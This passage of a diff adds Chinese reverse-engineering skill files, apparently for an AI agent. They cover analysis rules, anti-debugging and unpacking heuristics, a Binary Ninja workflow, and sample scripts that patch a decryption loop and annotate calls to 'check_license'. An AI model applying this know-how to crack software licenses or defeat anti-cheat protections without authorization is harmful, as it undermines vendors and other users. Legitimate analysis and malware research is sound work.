- **R3 没有字符串≠没有逻辑**:编码/哈希/运行时拼接/解密生成,追踪使用点
|
||||
- **R4 函数边界异常→检查反编译假象**:手写汇编/混淆/尾调用/无 frame pointer,不完全相信 decompiler
|
||||
|
||||
### 调用分析
|
||||
|
||||
- **R5 call 很少≠逻辑简单**:函数指针/虚表/回调/切换跳表间接调用
|
||||
- **R6 间接调用异常→查函数指针来源**:追踪寄存器/内存中目标地址来源
|
||||
- **R7 虚函数分析→先找 vtable**:对象指针→vptr→vtable→函数集合
|
||||
|
||||
### 内存与数据结构
|
||||
|
||||
- **R8 结构体识别不要只看字段访问**:结合初始化位置/生命周期/多处使用
|
||||
- **R9 malloc/free 跟踪对象生命周期**:创建点和释放点定含义
|
||||
- **R10 全局变量先找引用不找定义**:全局区噪声高
|
||||
|
||||
### API/行为
|
||||
|
||||
- **R11 API 调用只是结果不是逻辑**:分析参数来源和调用上下文
|
||||
- **R12 异常处理可能是控制流**:SEH/C++ exception/signal handler 承担正常跳转
|
||||
- **R13 系统调用层比 API 更可信**:hook/封装/替换时向下追到 syscall
|
||||
|
||||
### 混淆分析
|
||||
|
||||
- **R14 控制流平坦化→看状态变量**:调度器+状态变量+情况块
|
||||
- **R15 垃圾代码比例高→不逐条分析**:找外部影响/数据流/真实调用
|
||||
- **R16 opaque predicate→验证条件是否恒定**:永真/永假判断
|
||||
|
||||
### 动态调试
|
||||
|
||||
- **R17 断点失效→不一定没执行**:自修改代码/内存重映射/异常机制/反调试绕过
|
||||
- **R18 单步异常→查反调试**:陷阱旗/时间检测/异常处理
|
||||
- **R19 看见解密数据→立刻保存**:下一阶段可能清除
|
||||
|
||||
### PE/ELF 深层
|
||||
|
||||
- **R20 内存布局比文件布局重要**:loader 后的映射状态才是运行时真相
|
||||
- **R21 section 名称不可信**:看权限/熵/内容
|
||||
- **R22 重定位信息影响 dump**:地址不一致时先查 relocation
|
||||
|
||||
### 情报与初勘
|
||||
|
||||
- **R23 三表先行**:file(格式)→ 分区熵(代码/数据/密文分布)→ strings(**宽窄字符都要扫**,壳会转宽字符串)——任何深挖之前这三步做完,避免 80% 的方向性错误
|
||||
- **R24 熵要分区采样**:整体 4KB 熵 7.9 ≠ 全部密文——入口区 64B 熵 5.6 可能是真代码;用 64B/1KB 窗口扫描找明文/密文边界;**高熵≠加密**:可能是压缩、VMProtect 变异、或数据,判断加密前先排除压缩与混淆
|
||||
- **R25 导入表两面性**:(a) 导入表极小(几个函数)= 壳/动态解析信号;(b) **死导入**:IAT 有桩但 .text 零调用点 = LoadLibrary+GetProcAddress 动态加载,静态导入结论作废(c) **导入表数字≠API 面**:COM 接口(d3d11 等)1 个导入背后几百个 vtable 方法,真实调用面永远在导入表之外
|
||||
- **R26 构建路径/日志函数名是最强情报**:`G:\BuildAgent\...\Graphics_Renderer_D3D11.cpp` 泄露整个渲染器架构;`Renderer::CreateAdapter()` 还原初始化链——优先于函数猜测
|
||||
|
||||
### 反汇编方法
|
||||
|
||||
- **R27 线性反汇编必漂移**:PE 代码节内嵌跳转表,从节头顺序解码到中段全是垃圾;免疫方案 = **逐字节模式扫描**(只认 FF15/FF25 call/jmp [rip] 与 8B/8D mov/lea [rip] 模式,目标地址用原始字节算 `next_ip + disp32`,不用解码器的 displacement 字段)
|
||||
- **R28 反编译器卡死果断降级**:密文/混淆区当代码做函数分析会指数爆炸(4 核转 8 分钟)——限制分析范围(-analysisTimeoutPerFile)或换手写解码器,别等
|
||||
- **R29 工具盲区交叉验证**:objdump 对异常节标志(MEM_NOT_PAGED)静默跳过、iced-x86 的 RIP 相对 displacement 返回非裸值、readelf 对伪造头报错中断——每个工具都有盲区,两个独立工具解析同一数据,不一致就是有问题
|
||||
- **R30 入口字节判真伪**:`e8 xx xx xx xx`(call)+ `0f 05`(syscall)看着像代码也可能是随机巧合——顺序解码跟 30 条,出现 `fcom`/`int 88h`/`ret far` 类指令即为假
|
||||
|
||||
### 验证
|
||||
|
||||
- **R31 静态结论必须动态背书**:"能跑"≠"正确"(重定位正确性只有运行时读内存槽位能证明);逐字节验证只能证明"实现符合规格",证明不了"规格正确"——动态侧从活内存读槽位与文件存储值比对
|
||||
- **R32 两个独立工具解析同一数据**:addend 对照文件存储值、符号地址对照 nm 输出、RVA 对照 objdump——不一致就是有问题,别信单一工具输出
|
||||
- **R33 动态最小侵入**:DLL 劫持代理(记录调用序列)> 调试器 > 插桩框架;能不改目标二进制就不改;**动态分析一律沙箱**(firejail/bwrap + 无网络 + 一次性环境)
|
||||
|
||||
### 知识获取
|
||||
|
||||
- **R34 格式偏移查规范,不凭记忆**:PE32+ 数据目录在 oh+112(+96 是 SizeOfHeapCommit)、TEB 偏移等字段类知识——凭记忆必错,MS 规范/ELF gABI 是唯一权威(具体值见 [[re-format-pe]]/[[re-format-elf]] 领域经验)
|
||||
- **R35 开源实现是第二权威**:TEB 布局查 Wine winnt.h、系统调用语义查 ReactOS 源码——比博客可靠,且可交叉验证
|
||||
|
||||
|
||||
## 何时用哪个原子技能(选择树)
|
||||
|
||||
- 刚拿到文件,不知是什么 → [[re-triage]](能力:`triage`)
|
||||
- 已知 PE / ELF / Mach-O,要理解结构 → 对应格式技能
|
||||
- 要知道程序链接了哪些库/API → [[re-imports]](能力:`pe-parser`、`elf-parser`)
|
||||
- 要读懂函数逻辑 → 反编译四选一([[re-ghidra]](能力:`decompilation`、`debugging`) 默认;[[re-ida]](能力:`decompilation`、`debugging`) / [[re-radare2]](能力:`decompilation`) / [[re-binaryninja]](能力:`decompilation`))
|
||||
- 要看运行行为、设断点 → 按 OS 选调试器(Linux [[re-gdb]](能力:`debugging`)、Windows [[re-x64dbg]](能力:`debugging`) / [[re-windbg]](能力:`debugging`)、macOS [[re-lldb]](能力:`debugging`))
|
||||
- 要跟踪系统调用/函数调用 → [[re-tracing]](能力:`tracing`)
|
||||
- 要读/转储进程内存 → [[re-memdump]](能力:`memory-dump`;默认转储优先,见 [[re-analyze/platform-tips]])
|
||||
- 目标是驱动/内核模块/rootkit → [[re-kernel]](能力:`kernel-analysis`;配 [[re-windbg]](能力:`debugging`) 内核调试)
|
||||
- 目标是 hypervisor/VMM/虚拟化检测相关 → [[re-hypervisor]](能力:`hypervisor-analysis`;VT-x/SVM、VMCS/EPT)
|
||||
- 目标是反作弊组件(EAC/BattlEye 驱动、内存校验)→ [[re-anti-cheat]](能力:`kernel-analysis`;驱动分析 + 内核调试,注意授权边界)
|
||||
- 目标无环境/脱壳辅助,需模拟执行 → [[re-emulation]](能力:`emulation`)
|
||||
- 目标是 shellcode(无文件格式头的裸代码 blob:提取/解码循环/模拟执行)→ [[re-shellcode]](能力:`shellcode-analysis`)
|
||||
- 目标是游戏(Unity/Unreal、CE 内存修改)→ [[re-game]](能力:`game-analysis`)
|
||||
- 目标是 Go 二进制(语言专项:符号/字符串表/goroutine)→ [[re-go]](能力:`lang-runtime-analysis`)
|
||||
- 目标是 Rust 二进制(语言专项:符号解译/泛型展开/所有权)→ [[re-rust]](能力:`lang-runtime-analysis`)
|
||||
- **目标是 C++(RTTI/异常表密集)** → [[re-cpp-abi]](能力:`decompilation`;RTTI/虚表/异常恢复)
|
||||
- **目标是 Swift 产物($s mangling 特征)** → [[re-swift]](能力:`lang-runtime-analysis`;mangling/witness table/闭包捕获)
|
||||
- **目标是 Zig 产物(无 RTTI/异常表、panic 函数特征)** → [[re-zig]](能力:`lang-runtime-analysis`;comptime/错误路径)
|
||||
- **目标是 Nim 产物(NimMain/NimString 特征)** → [[re-nim]](能力:`lang-runtime-analysis`;运行时/字符串结构)
|
||||
- **目标是 Haskell/OCaml 产物(GHC RTS/OCaml block 特征)** → [[re-fp-runtime]](能力:`lang-runtime-analysis`;闭包/数据流)
|
||||
- **补丁/N-day 对比(修复前后/变体关联)** → [[re-variant]](能力:`binary-diffing`;函数匹配/补丁 diff)
|
||||
- 要写 Ghidra/IDA 脚本或插件(批量标注/解密循环/自定义格式解析,脚本→插件工程化)→ [[re-plugin-dev]](能力:`plugin-development`)
|
||||
- 怀疑带壳 → 转 [[re-anti-analysis]](能力:`unpack`、`deobfuscation`、`evasion-analysis`)
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-mobile]]:移动 App 原生 .so 库分析 → 本网关 [[re-format-elf]] + [[re-ghidra]](专项见 [[re-android-native]])
|
||||
- [[re-hypervisor]] / [[re-anti-cheat]]:hypervisor 与反作弊驱动的逆向分析以本网关技能为底座([[re-kernel]] / [[re-windbg]] 内核调试)
|
||||
- [[re-ctf]]:CTF 逆向题 → 本网关技能为底座
|
||||
- [[re-anti-analysis]]:静态发现混淆/壳 → 转入脱壳域
|
||||
- [[re-shellcode]]:shellcode 载荷专项分析(提取/解码/模拟执行)→ 反编译底座用本网关([[re-radare2]] / [[re-ghidra]])
|
||||
- 本网关技能被 [[re-malware]] 深度逆向环节引用
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- 探测到内存 <4GB 仍选 Ghidra → 提示 [[re-radare2]]
|
||||
- strings 输出被加密/压缩干扰 → 用熵值(re-triage)判断是否先脱壳
|
||||
- 直读 `/proc/<pid>/mem` 前必须查 maps(见 [[re-analyze/platform-tips]])
|
||||
|
||||
### 未知格式与模拟执行
|
||||
|
||||
- **未知/魔改格式:让目标自己的解析器回答,别手工考古**:现象——手写解析魔改字节码/资源/协议格式,反复错位;原因——格式被目标厂商修改过,公开文档与实现脱节;对策——找目标内能加载该格式的组件(自带 VM、解析库),用它"编译/加载/导出"产出同源产物(如用目标自带 Lua VM 编译其字节码),格式兼容性问题归零——"能跑就不逆向"的通用化
|
||||
- **模拟执行目标函数先分清依赖**:现象——模拟器里调用函数报内存未映射/越界;原因——函数引用了模块静态区/全局状态,超出映射范围;对策——优先选无全局依赖的纯计算函数(静态 getter、打包/解包器)作验证目标;确实需要全局的函数,按引用地址补齐内存映射后再调
|
||||
- **补丁脚本型资源:用目标的编译管线产出同构产物**:现象——第三方编译器/打包器产出的字节码或资源,目标加载失败或行为异常;原因——编译器版本/配置与目标不一致;对策——优先用目标自带的编译/打包能力(导出的编译 API、`dump` 类函数)生成补丁产物
|
||||
- **字节布局一律脚本解析 + 断言**:现象——手数 hex 偏移全盘错位(魔数长度数错、字段偏移差 1);原因——眼算偏移不可靠;对策——用脚本解析头部/字段并加断言校验;解析器输出与工具矛盾时,先验证工具本身是否按预期工作(别名/包装/参数可能改变行为,如 grep 包装后跳过二进制内容)
|
||||
- **间接跳转平坦化主函数**:现象——反编译器只识别函数前部 CFG,分发器处中断;原因——间接 BR 跳转表(控制流平坦化);对策——按跳转表公式 `target = (table_entry + fixed_delta)` 枚举真实基本块,不依赖默认 CFG;符号长度远大于 CFG 识别长度时优先查 BR/BLR 间接表
|
||||
- **逐函数 XOR 字符串解密器**:现象——字符串扫描只看到少量路径;原因——文本用每字符串独立的循环 XOR;对策——识别「前 N 字节密钥 + 后 M 字节密文」布局,从解密器指令提取 key/output 长度,静态重放算法(对平坦化块局部常量传播即可恢复间接目标与字符串源地址,无需先完整去平坦化)
|
||||
- **自解压归档安全展开**:现象——解包目标含恶意路径;原因——归档内路径可构造;对策——逐成员校验后写出(拒绝绝对路径、`..`、链接、设备节点),不直接执行、不信任成员路径
|
||||
- **压缩载荷定位**:现象——只按魔数找压缩流会漏;原因——魔数不唯一/被混淆;对策——对候选偏移做完整解压测试(有效流校验),不只看头部
|
||||
(来源:reverse-skill field-journal,MIT)
|
||||
|
||||
120
vendor-new/rev-skills/.claude/skills/re-binaryninja/SKILL.md
Normal file
120
vendor-new/rev-skills/.claude/skills/re-binaryninja/SKILL.md
Normal file
@@ -0,0 +1,120 @@
|
||||
---
|
||||
name: re-binaryninja
|
||||
description: >
|
||||
Binary Ninja 工作流:MLIL、脚本 API。触发词:Binary Ninja、binaryninja、bn、MLIL
|
||||
capabilities: [decompilation]
|
||||
---
|
||||
|
||||
# Binary Ninja 逆向工作流
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:需要 MLIL 中间语言(比裸反汇编可读得多)阅读函数逻辑;Python 脚本自动化标注/批处理;按预算选型(个人版/商业版)
|
||||
- 用:需要 DFG 数据流图(寄存器/常量传播路径可视化)追踪单条数据的流向(密钥、标志位)
|
||||
- 用:多架构目标(x86/ARM/MIPS/RISC-V/PowerPC 等常见架构均支持,移动/嵌入式目标可直接分析)
|
||||
- 用:`RE_DECOMPILER=binaryninja` 场景下作为反编译器
|
||||
- 不用:已有 Ghidra/IDA 工作流且无选型动机(按 `RE_DECOMPILER` 会话变量,[[re-ghidra]] 默认)
|
||||
- 不用:纯命令行快速分析([[re-radare2]] 更轻);无头批处理最简场景([[re-ghidra]] analyzeHeadless 生态更成熟)
|
||||
- 不用:动态调试为主的目标(BN 内置调试器处于实验阶段——调试走 [[re-gdb]] / [[re-x64dbg]] / [[re-lldb]])
|
||||
- 不用:个人版做大规模无头自动化(headless 是商业版能力,见 [[gotchas]])
|
||||
|
||||
## 工具准备
|
||||
|
||||
参考 [[re-analyze/platform-tips]]——Binary Ninja 静态分析免沙箱;脚本触发动态执行时默认沙箱内。
|
||||
|
||||
### Binary Ninja(商业,有个人版)
|
||||
|
||||
- 下载/购买: 官网 binary.ninja(Commercial 商业版 / Personal 个人版;个人版仅限个人用途,自动化与部分功能按版本受限;另有免费 Free 档)
|
||||
- Free 版: 无 API 与插件访问、IL 受限;支持架构 x86 / x86_64 / armv7+Thumb2 / armv8——需要 MLIL 或脚本自动化时按预算升档
|
||||
- Windows: 安装器直接运行;macOS: `brew install --cask binary-ninja`(社区 cask,需已有 license);Linux: 官网 tar 包解压运行 `./binaryninja`
|
||||
- 容器格式: 直接导入 PE/ELF/Mach-O/Dalvik/固件 ROM 等(不需要单独解包步骤);带壳目标例外(壳段未解密,先脱壳)
|
||||
- 验证: 打开任意样本完成自动分析,`Functions` 面板有函数列表;`Options > About` 显示 license 类型
|
||||
- Linux 无图形环境: GUI 版需要 X 显示(`xvfb-run ./binaryninja` 可临时跑);批量任务直接走 headless(商业版),headless 不需要显示器
|
||||
- 版本差异: 6.x 为当前主线;6.0 起插件管理器重构为 Extension Manager(旧 `pluginmanager` 仅保留 shim)、bundled Python 升至 3.13(首次覆盖 Linux)而外部 Python 最低仍 3.10——2.x → 3.x → 4.x → 6.x 主版本间有破坏性 API 变更,脚本依赖先查 `core_version()` 与发行说明(见 [[gotchas]])
|
||||
|
||||
### binaryninja Python API
|
||||
|
||||
- 安装: Binary Ninja 安装目录下运行 `python install_api.py`(把 API 注册进 Python 环境;PyPI 无 binaryninja 包,`pip install binaryninja` 会失败)
|
||||
- 安装脚本会检测/提示匹配的 Python 版本——版本不匹配时脚本报错或注册失败,按提示换 Python 版本
|
||||
- 验证: `python3 -c "import binaryninja; print(binaryninja.core_version())"` 输出与软件版本一致的版本号
|
||||
- 无头批处理(商业版): 没有 `binaryninja-headless` 可执行文件——正路是 `install_api.py` 注册后直接写脚本 `binaryninja.load()`(见 [[commands]] 序列 2);headless license 走官方独立下载包(无 GUI,仅 headless license 可下载)
|
||||
|
||||
## 操作步骤
|
||||
|
||||
1. **导入与分析**:
|
||||
- `File > Open` 选样本 → 自动分析(底部进度条)→ 左侧 `Functions` / `Data` / `References` 视图确认分析结果
|
||||
- 确认: 入口函数(entry)被识别、导入表(`Imports` 视图)有内容、字符串(`Strings` 视图)可见
|
||||
- 分析异常(函数少/字符串乱)→ 可能带壳,先 [[re-packer-id]] / [[re-anti-analysis]]
|
||||
- 分析选项: `Options > Analysis` 勾选/关闭 pass——首次导入大文件或带混淆样本时先看这里,默认全开会慢
|
||||
|
||||
2. **MLIL 阅读(IL 视图切换)**:
|
||||
- 双击函数进入反编译视图(默认 HLIL 高语言 IL);`i` 在反汇编/LLIL/MLIL/HLIL 间循环,或右下角 `Options` 菜单选 IL 级别
|
||||
- MLIL 特点: 变量显式化(`rax = rax ^ 0xdeadbeef`)、类型恢复、条件跳转语义化——比裸反汇编可读,重点函数先看 MLIL 再下结论
|
||||
- MLIL 示例(反汇编 vs MLIL):`cmp eax, 0x1337 / jne L1 / mov byte [rdi], 1 / jmp L2 / L1: mov byte [rdi], 0 / L2: ...` → MLIL 直接呈现 `if (rax == 0x1337) *(uint8_t*)rdi = 1; else *(uint8_t*)rdi = 0;`——读逻辑不用逐条跟跳转
|
||||
- 反编译不清晰时降级: MLIL → LLIL(`View > IL > LLIL`,低语言 IL,保留指令级细节)→ 反汇编(`Space`/汇编视图)逐层核对
|
||||
- 注意: `m` 键在 Binary Ninja 里是「整数应用枚举显示」,不是 MLIL 切换——切 IL 用 `i`
|
||||
|
||||
3. **重命名 / 类型**:
|
||||
- 重命名: 光标在符号/变量上 `n`(或右键 Rename)——函数、变量、全局数据均可
|
||||
- 改类型: `y`(如 `void *`、`DWORD`、`int (*)(void *, size_t)`),类型传播自动改善后续反编译质量
|
||||
- 定义结构体: `Types` 面板新建 Structure → 应用到变量/指针 → 字段名随类型传播进反编译视图
|
||||
- 其他类型快捷键: `o` 设指针引用、`a` 设字符数组、`d` 循环整型宽度、`*` 建数组(见 [[commands]] 快捷键表)
|
||||
|
||||
4. **Python 脚本(自动化标注)**:
|
||||
```python
|
||||
import binaryninja
|
||||
bv = binaryninja.load("sample.bin")
|
||||
bv.update_analysis_and_wait() # 无头模式:手动触发完整分析
|
||||
for f in bv.functions:
|
||||
if f.analysis_skip_reason is None and f.medium_level_il:
|
||||
n = len(list(f.medium_level_il.instructions))
|
||||
if n > 200:
|
||||
print(f"big function: {f.name} @ {hex(f.start)} len={n}")
|
||||
```
|
||||
- 批量改名: `bv.get_function_at(0x401000).name = "check_license"` 后 `bv.save()` 写回
|
||||
- 导出反编译文本: `str(f.high_level_il)` 直接拿 HLIL 伪代码字符串——批量导出函数逻辑的最快方式
|
||||
- 插件: 6.x 经 Extension Manager 管理(旧 `File > Manage Plugins` 的职责并入其中);插件目录按平台:Windows `%APPDATA%\Binary Ninja\plugins`、Linux `~/.binaryninja/plugins`、macOS `~/Library/Application Support/Binary Ninja/plugins`(macOS 非 `~/.binaryninja`,放错不会被加载)
|
||||
- 自写脚本先 `File > Python` 面板试跑(能看到 `print` 输出与异常),稳定后再转插件或无头脚本——调试脚本比跑完看结果快得多
|
||||
- 无头模式: 商业版可用 headless——没有 `binaryninja-headless` CLI,正路是 `install_api.py` 注册后写脚本(`binaryninja.load()` + `update_analysis_and_wait()`,即上文代码结构);headless license 用官方独立下载包;个人版受限时用 GUI 内 `File > Python` 面板执行同样代码
|
||||
- 无头脚本出错不会弹窗——异常直接打到 stderr/日志文件,排错看输出尾部与 `bv.log_info` 痕迹
|
||||
|
||||
5. **字符串/引用定位链**:
|
||||
- `Strings` 视图找提示串 → 双击进反汇编 → 右键 `Show References`(或 `xrefs` 面板)→ 跳到引用函数 → MLIL 阅读
|
||||
- 字符串多时按引用数/长度排序(点列头)优先处理被多处引用的串——通常是错误提示/格式串等关键节点
|
||||
- 与 [[re-ida]] 的 Alt+T→x→F5、[[re-radare2]] 的 izz→axt→pdf 同思路;批量标注用 `bv.get_strings()` + `f.get_callers()` 脚本化(见 [[commands]] 序列 2)
|
||||
|
||||
6. **DFG 数据流图(单值流向追踪)**:
|
||||
- 在 MLIL/HLIL 视图中右键某条指令 → `Show DFG`——从该指令出发的变量/常量传播路径图
|
||||
- 场景: 追踪密钥/标志位从加载到比较的完整路径;DFG 比逐条读 MLIL 快,适合「这个值从哪来/去哪了」问题
|
||||
- 配合 `x`/右键 `Show References` 交叉验证调用边界;DFG 视图 `Esc` 退出返回原视图
|
||||
|
||||
7. **证据核对(收尾)**:重命名/类型/注释随 `bv.save()` 落盘存档;无头导出产物(函数清单/HLIL 文本)与 [[re-triage]] 初勘值对照;关键结论写 [[re-analyze/analysis-contract]]——标注要能还原成报告,别只留在项目里
|
||||
|
||||
8. **交叉验证(多反编译器互证)**:同一函数用 [[re-ghidra]] / [[re-ida]](若有)反编译对比——MLIL 与 Ghidra 伪代码结构一致时结论可信度提升;差异大时回 LLIL/汇编核对,优先相信汇编层证据
|
||||
|
||||
6. **对比选型(价格 / 插件生态)**:
|
||||
- 价格: Binary Ninja(商业付费,个人版便宜但限个人用途)vs [[re-ida]](最贵)vs [[re-ghidra]](免费开源)vs [[re-radare2]](免费开源 CLI)
|
||||
- 生态: Ghidra 社区最大、脚本(Java/Python/无头)最成熟;IDA idapython 插件历史最久;Binary Ninja 插件数较少但 API 设计现代(Python 优先)
|
||||
- 决策: 预算敏感 → Ghidra/radare2;要 MLIL 可读性 + Python API → Binary Ninja;已有 IDA 授权 → 保持 IDA,本技能只在换栈时用
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-binary-core]]:工作流第 5 步反编译器备选(`RE_DECOMPILER=binaryninja`)
|
||||
- [[re-ctf]]:逆向题反编译与脚本求解
|
||||
- [[re-malware]]:恶意样本深度分析(Python 批量标注导出)
|
||||
- [[re-cracking]]:授权/校验算法还原
|
||||
- [[re-kernel]]:驱动反编译可选工具(与 [[re-ghidra]] / [[re-ida]] 三选一)
|
||||
- [[re-android-native]] / [[re-ios]]:移动原生库(ARM64 指令 + 符号少)分析时 MLIL 可读性价值明显
|
||||
- [[re-game]]:游戏二进制(反编译 + 脚本批量标注)可选工具
|
||||
- 与 [[re-ghidra]] / [[re-ida]] 间无直接工程互导格式,换栈时按函数手搬或脚本统一标注
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **MLIL 对混淆代码失真**:现象——花指令/控制流平坦化样本反编译出诡异结构(死代码、恒假条件);原因——MLIL 基于数据流重建,混淆破坏控制流信息;对策——降到 LLIL/汇编交叉验证,或先 [[re-deobfuscate]] 再导入
|
||||
- **脚本 API 版本差异**:现象——`import binaryninja` 报版本错/行为与文档不符;原因——pip 包与安装软件主版本不匹配(API 大版本间不兼容);对策——重跑安装目录 `install_api.py` 对齐版本,`core_version()` 与 About 版本比对
|
||||
- **无头模式用法**:现象——个人版 `binaryninja.headless` 不存在;原因——headless 自动化是商业版能力,个人版裁剪;对策——个人版用 GUI 内 `File > Python` 面板跑脚本,或脚本里只做 `load` + `update_analysis_and_wait` 的替代路径
|
||||
- **大二进制首次分析慢/内存高**:现象——100MB+ 样本分析数分钟甚至卡死;原因——默认分析 pass 全开;对策——`Options > Analysis` 关掉多余 pass(如只保留 dataflow 与 decompile 需要的最小集),或只对重点函数做分析(`f.analysis_skip_override` 思路)
|
||||
- **patch 后结果没变(忘了重分析)**:现象——`bv.write` 改了字节,反编译输出还是旧的;原因——分析结果缓存未失效;对策——改完调用 `bv.update_analysis_and_wait()` 强制重分析,或重新加载
|
||||
- **项目库与样本分离**:`.bndb` 项目库保存全部标注,样本本身不变——分发标注时传 .bndb(注意版本兼容),别指望样本里带上标注;写回样本字节是另一回事(脚本里 `bv.write` + 保存按官方 patch 流程走)
|
||||
- **宽字符/UTF-16 字符串乱码**:现象——`Strings` 视图中文/宽字符串显示乱码或分裂;原因——数据变量宽度判定错误;对策——选中数据后右键设 2 字节宽(或脚本 `bv.get_data_var_at` 后改类型),再触发分析
|
||||
- 版本差异、插件/无头细节与快捷键对照见 [[gotchas]] / [[commands]]
|
||||
@@ -0,0 +1,95 @@
|
||||
# Binary Ninja 快捷键与 Python API 速查
|
||||
|
||||
Binary Ninja 双入口:GUI(快捷键 + 面板)与 Python API(`File > Python` 面板 / 无头脚本 / 插件)。快捷键以官方文档(docs.binary.ninja)与默认 keybindings 为准;API 以 `binaryninja` 模块帮助为准。
|
||||
|
||||
## 快捷键速查(按任务分组)
|
||||
|
||||
| 任务 | 快捷键 | 说明 |
|
||||
|---|---|---|
|
||||
| 反汇编/反编译切换 | Space | 汇编视图 ↔ 反编译视图 |
|
||||
| IL 循环 | i | 反汇编 / LLIL / MLIL / HLIL 循环切换 |
|
||||
| IL 级别菜单 | 右下角 Options | 图形化选 Lifted LLIL/LLIL/MLIL/HLIL |
|
||||
| 重命名 | n | 函数/变量/全局符号 |
|
||||
| 改类型 | y | 输入 C 类型字符串,类型传播自动生效 |
|
||||
| 设指针引用 | o | 当前位置创建指针 |
|
||||
| 设字符数组 | a | 到下一个 NUL 的字符数组 |
|
||||
| 整型宽度循环 | d | 循环 1/2/4/8 字节整型(数字键 1/2/4/8 直接设) |
|
||||
| 建数组 | * | 选中多个同类变量转数组 |
|
||||
| 有符号/无符号 | - | 整型显示切换 |
|
||||
| 十六进制/十进制 | 0 | 整型显示进制切换 |
|
||||
| 注释 | 右键 Comment | 添加注释(无固定默认快捷键,右键菜单可达) |
|
||||
| 反编译单函数 | 双击函数 | 默认 HLIL 视图 |
|
||||
| 跳转 | g | 地址/符号跳转 |
|
||||
| 返回 | Esc | 返回上一个位置 |
|
||||
|
||||
## Python API 常用(按族)
|
||||
|
||||
- 加载与分析: `binaryninja.load(path)` → `bv`;`bv.update_analysis_and_wait()`(无头必需);`bv.save()` 写回
|
||||
- 函数: `bv.functions`;`bv.get_function_at(addr)`;`f.medium_level_il` / `f.high_level_il` / `f.llil`;`f.get_callers()` / `f.callees`;`f.name = "新名"`(直接赋值改名)
|
||||
- 数据/字符串: `bv.get_strings()`;`bv.get_data_var_at(addr)`;`bv.get_data_refs(addr)`(谁引用该数据)
|
||||
- 引用: `bv.get_code_refs(addr)`;`bv.get_data_refs(addr)`——定位链脚本化入口
|
||||
- 类型: `bv.parse_type_string("int (*)(void*, size_t)")`;`Types` 面板定义结构体后 `tinfo_t` 应用
|
||||
- 注释: `f.set_comment(addr, "text")`;`f.get_comment(addr)`
|
||||
- 读写内存: `bv.read(addr, n)` / `bv.write(addr, data)`(补丁/解密循环用);`bv.get_length()` 文件大小
|
||||
- 日志: `bv.log_info("...")` / `print()`(GUI 控制台)
|
||||
- 无头: 无 `binaryninja-headless` CLI——`install_api.py` 注册后脚本内 `binaryninja.load(path)` + `update_analysis_and_wait()` 直接跑;headless license 用官方独立下载包(`download_headless.py`)
|
||||
|
||||
## 常用操作序列(组合套路)
|
||||
|
||||
### 1. 定位校验逻辑(字符串 → 引用 → MLIL)
|
||||
|
||||
```
|
||||
Strings 视图找提示串 → 双击进反汇编 → 右键 Show References
|
||||
→ 跳到引用函数 → 双击进反编译视图 → i 切 MLIL 阅读数据流
|
||||
→ n 重命名关键函数/变量 → 结论写注释
|
||||
```
|
||||
|
||||
### 2. 无头批量导出(函数 + HLIL)
|
||||
|
||||
```python
|
||||
import binaryninja, json
|
||||
bv = binaryninja.load("sample.bin")
|
||||
bv.update_analysis_and_wait()
|
||||
out = {}
|
||||
for f in bv.functions:
|
||||
if f.analysis_skip_reason is not None:
|
||||
continue
|
||||
out[hex(f.start)] = {"name": f.name, "hlil": str(f.high_level_il)[:2000]}
|
||||
with open("out.json", "w") as fp:
|
||||
json.dump(out, fp, indent=1)
|
||||
```
|
||||
|
||||
### 3. 解密循环批量 patch
|
||||
|
||||
```python
|
||||
bv = binaryninja.load("sample.bin")
|
||||
bv.update_analysis_and_wait()
|
||||
base, key = 0x401000, 0x55
|
||||
for i in range(0x100):
|
||||
bv.write(base + i, bytes([bv.read(base + i, 1)[0] ^ key]))
|
||||
bv.save() # 写回前确认在副本上操作
|
||||
```
|
||||
|
||||
### 4. 批量标注调用点(给所有 call check 的函数加注释)
|
||||
|
||||
```python
|
||||
bv = binaryninja.load("sample.bin")
|
||||
bv.update_analysis_and_wait()
|
||||
target = bv.get_symbol("check_license") # 按符号名取
|
||||
for ref in bv.get_code_refs(target.address):
|
||||
bv.get_function_at(ref.address).set_comment(ref.address, "calls check_license")
|
||||
bv.save()
|
||||
```
|
||||
|
||||
## 实现教训(内化)
|
||||
|
||||
- 无头脚本 `update_analysis_and_wait()` 之前任何遍历都是空结果——先等分析
|
||||
- 改名/改类型用属性赋值(`f.name = ...`)比 API 调用直观;但所有修改要 `bv.save()` 才落盘
|
||||
- 写内存前先 `bv.read` 记录原始字节;patch 场景在副本文件上操作
|
||||
- IL 级别影响结论:HLIL 可读性最好但可能丢细节,MLIL 与反汇编对不上时降 LLIL 核对
|
||||
- `get_code_refs`/`get_data_refs` 是脚本化定位链的核心——手点 xrefs 的批量替代
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 全部在沙箱内执行([[re-analyze/platform-tips]] 最高原则);脚本触发动态执行默认沙箱内
|
||||
- 结论写 [[re-analyze/analysis-contract]];与 [[re-triage]] 初勘值对照入档
|
||||
@@ -0,0 +1,34 @@
|
||||
# Binary Ninja 工具特有坑与边界
|
||||
|
||||
## 版本差异
|
||||
|
||||
- **Python API 与软件版本强绑定**:API 不随软件自动同步——重装软件或升级后必须重跑安装目录 `install_api.py`,否则 `import binaryninja` 指向旧版 API,行为与文档不符(最常见故障源)
|
||||
- **主版本间 API 变化**:2.x → 3.x(类型 API 重构)→ 4.x → 6.x 各有破坏性变更——脚本依赖先查 `core_version()` 与对应版本文档;旧插件在新主版本下可能直接加载失败
|
||||
- **6.0 迁移(Plugin Manager → Extension Manager)**:6.0 起插件管理器重构为 Extension Manager,旧 `pluginmanager` 仅保留 shim;bundled Python 升至 3.13(首次覆盖 Linux),外部 Python 最低仍 3.10——升级后需跑一次依赖迁移(重装插件依赖),否则旧插件报缺依赖或加载失败
|
||||
- **`i` 键是 IL 循环,`m` 不是**:`m` 在官方文档里是「整数应用枚举显示」(类型操作)——网上流传的「m 切 MLIL」说法与现行版本不符,切 IL 用 `i` 或右下角 Options 菜单
|
||||
- **插件兼容性**:插件按主版本编译/适配——Extension Manager(6.x;旧菜单 `File > Manage Plugins`)里标记版本要求的插件,跨主版本升级后逐个验证
|
||||
|
||||
## 个人版限制
|
||||
|
||||
